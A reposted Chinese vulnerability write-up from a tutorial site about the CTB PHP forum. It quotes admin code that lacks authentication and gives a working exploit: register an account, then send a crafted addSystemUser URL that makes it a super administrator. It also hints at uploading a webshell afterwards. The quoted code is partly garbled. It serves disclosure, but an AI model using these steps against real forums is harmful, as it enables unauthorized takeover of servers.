漂亮但不安全的CTB

2016-02-19 11:07 4 1 收藏

下面图老师小编要向大家介绍下漂亮但不安全的CTB,看起来复杂实则是简单的,掌握好技巧就OK,喜欢就赶紧收藏起来吧!

【 tulaoshi.com - Web开发 】


Dedicated This Scrap To CaoJing 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码11cn.org;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb-set = $set; 
   $ctb-tplPath = "./templates"; 
   $ctb-input = $return; 
   $ctb-sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb-execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this-input['action']) { 
... 
case 'addSystemUser': 
               $this-addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this-inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this-file = "../".$this-set[dataPath]."/users/list.php"; 
   $systemLine = $this-select(4, $this-input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

来源:http://www.tulaoshi.com/n/20160219/1596594.html

延伸阅读
标签: SQLServer
  在一般的多用户应用系统中,只有拥有正确的用户名和密码的用户才能进入该系统。我们通常需要编写用户登录窗口来控制用户使用该系统,这里以Visual Basic+ADO为例: 一、漏洞的产生 用于登录的表 Users(name,pwd) 建立一个窗体Frmlogin,其上有两个文本框Text1,Text2和两个命令按钮cmdok,cmdexit。两个文本框...
标签: ASP
  很多公司使用以下这两个步骤为它们基于 Windows 2000 的网络服务器来做组态:(1)安装 IIS 5.0、(2)不再理它。如果仅只于此的话,何不来个第三步骤:祈祷。 对于 IIS 5.0,Microsoft 针对安全性和可存取性/可用性(accessibility/usability)两方面做了很好的折衷,一般认为更倾向于后者。Data Return Corporation 的高级信息安全工...
蹭无线不安全,160WiFi开启热点更安全 近日,频频曝光,不少不法份子利用免费wifi盗取用户银行、支付宝等账号信息,骗取数万元存款。 据介绍,利用WiFi窃取他人信息,主要有三种手段: 手段1以假当真:把正当网站的地址绑架到自己的假网站上。使用者输入的网址虽然没错,但登录的却是一个仿真度极高的假网站。 手段2半路拦...
想要投资信托的人会感到疑惑,信托投资安全吗?下面就分享相关内容,一起来看看吧。 信托投资安全吗 信托产品的“门槛”比较高,一般产品均要求100万元起购,收益率也比较高,一般比同期存款利率高出3~5个百分点。在弱市之中,信托产品的收益率之高如鹤立鸡群。其次,收益与风险是对等的。但是,在经过了数次的行业大...
标签: ASP
  你的Windows 2000 /Internet Information Server (IIS) 5.0 Web 网站已经架设起来,准备开始运作时,却发现它被安全漏洞所困扰着。安全性方面的漏洞当然可以弥补,但那要看你如何去应对。如果怀有恶意的骇客还没有找到那些看不见的裂缝,这并不意味着你可以高枕无忧。他们可能只是还没有发现到你的网站而已。 那么,这套最先进的操作...

经验教程

198

收藏

93
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部